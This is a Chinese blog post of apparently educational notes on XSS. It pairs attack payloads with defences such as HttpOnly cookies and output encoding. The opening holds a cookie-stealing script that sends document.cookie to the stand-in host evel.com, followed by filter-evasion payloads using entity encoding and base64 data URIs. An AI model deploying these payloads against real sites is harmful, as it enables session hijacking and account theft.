当前位置: 代码迷 >> 综合 >> 白帽子(4)- xss payload
  详细解决方案

白帽子(4)- xss payload

热度:76   发布时间:2024-02-20 23:27:10.0

xss pyload

直接参考:xss pyload攻击语句汇总

cooke劫持

一般放在script中。

# 远程请求xss 文件
url: http://a.com/test.html?abc="><script src=http://evel.com/eval.js ></script>"# evel.js的写法
<script>var img = document.createElement("img");img.src = "http://evel.com/log?" + escape(document.cookie);document.body.appendChild(img); </script>

XSS在属性中使用脚本

XSS攻击可能无需使用 标签即可进行。其他标签也会做完全相同的事情,例如: <body onload=alert('test1')>或其他属性,例如:onmouseover,onerror

鼠标悬停
<b onmouseover=alert('Wufff!')>click me!</b>

错误
<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>

XSS通过编码的URI方案使用脚本

如果我们需要对Web应用程序过滤器隐藏,我们可以尝试对字符串字符进行编码,例如:a=&#X41(UTF-8)并将其用于IMG标记中:

<IMG SRC=j&#X41vascript:alert('test2')>

有许多不同的UTF-8编码符号为我们提供了更多的可能性。

XSS使用代码编码

我们可以在base64中对脚本进行编码,然后将其放置在META标记中。这样我们就alert()完全摆脱了。有关此方法的更多信息,请参见RFC 2397。

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">
base64解码为:<script>alert('test3')</scriptPg

xss作用

  1. xss钓鱼
  2. 获取浏览器版本
  3. 识别用户安装软件版本
  4. 利用BeEF, xss proxy远控电脑

xss构造pyload

  1. 利用字符编码绕过:字节“%c1\” 组成 了一个新的 Unicode 字符,“% c1” 把 转义 符号“\” 给“ 吃掉 了”,

xss防御

  1. http_only: 浏览器将机制javascript访问带有http_only属性的Cookie
  2. 输入检测:最好是白名单检测,否则对<,>,’,"进行过滤或编码
  3. 输出检测:
& --> &amp; 
< --> &lt; > 
--> &gt; 
" --> &quot; 
' --> &#x27;     
&apos; 不 推荐 
/ --> &#x2F;     
包含 反 斜线是因为它可 会闭合一些 HTML entity
在 PHP 中,有htmlentities() 和 htm lspecialchars() 两个 函数 可以 满足 安全 要求。

对xss进行检测有一点特别重要:**一定要在正确的地方进行检测, 想要 根治 XSS 问题, 可以列出所有 XSS 可能发生 的 场景, 再一一 解决 **, 具体参考书正确防御xss

  相关解决方案